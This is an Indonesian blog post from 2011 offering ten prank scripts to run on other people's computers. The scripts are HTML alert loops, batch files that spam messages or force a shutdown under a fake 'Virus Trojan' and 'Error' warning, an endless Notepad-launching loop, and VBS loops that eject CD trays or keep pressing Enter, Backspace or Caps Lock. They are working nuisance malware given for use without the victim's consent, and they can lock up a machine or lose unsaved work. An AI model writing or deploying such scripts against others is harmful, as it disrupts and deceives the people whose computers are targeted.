Pages

Selasa, 26 April 2011

Jailin komputer orang lain dengan notepad


Script 1

<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("Komputer anda akan hancur")
var b = true
while (b == true)
{
alert("Silahkan ambil palu ajahâ?¦haâ?¦haâ?¦")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>


Atau yang inih

<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("Komputer loo..kedinginan tuh")
var b = true
while (b == true)
{
alert("siram air ajah biar dingin")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>


Yang ini juga boleh

<html>
<head>
<script type="text/javascript">
function display_alert()
{
alert("kamu bau bangetâ?¦")
var b = true
while (b == true)
{
alert("belum mandi yahâ?¦idihâ?¦.bau baget nih mo muntah")
}
}
</script>
</head>
<body><input type="button" onclick="display_alert()"
value="Submit" /></body>
</html></center>


Silahkan Script di atas di simpan dengan (.html)
keterangan : membuka browser habis itu keluar message terus menerus

Script 2

@ECHO off
:Begin
msg * -WARNING-
msg * Sory Virus Trojan....
msg * Udah install ulang aja.....
msg * Biar masalah nya kelar....
msg * Wkwkwkwkwkkkkkkkk....
GOTO BEGIN


simpan dengan .bat
keterangan : membuat pesan keluar terus

Script 3

@ECHO off
msg * -=WARNING=-
shutdown -s -c "Error !!!"


simpan dengan (.bat)
keterangan : bikin sutdownt trus ada pesannya

Script 4

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop


simpan dengan (.vbs)
keterangan : bikin iseng CD/VCD buka tutup melulu

Script 5

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop


simpan dengan (.vbs)
keterangan : membuat vbs nongol terus

Script 6

MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


simpan dengan (.vbs)
keterangan : bikin tombol backpace nekan melulu

Script 7

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Erorr!!!"
loop


simpan dengan (.vbs)
keterangan : bikin otomatis ngetik "eror" di Notepad/Word

Script 8

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top


simpan dengan (.bat)
keterangan : membuat supaya buka notepad melulu

Script 9

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "E"
WScript.Sleep 50
WshShell.SendKeys "R"
WScript.Sleep 50
WshShell.SendKeys "O"
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "R "
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!"


simpan dengan (.vbs)
keterangan : membuat setiap kali buka notepad otomatis ngetik yang kalian mau

Script 10

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop


simpan dengan (.vbs)
keterangan : mainin capslock

0 komentar:

Posting Komentar

 
:a: :b: :c: :d: :e: :f: :g: :h: :i: :j: :k:
offsetWidth); }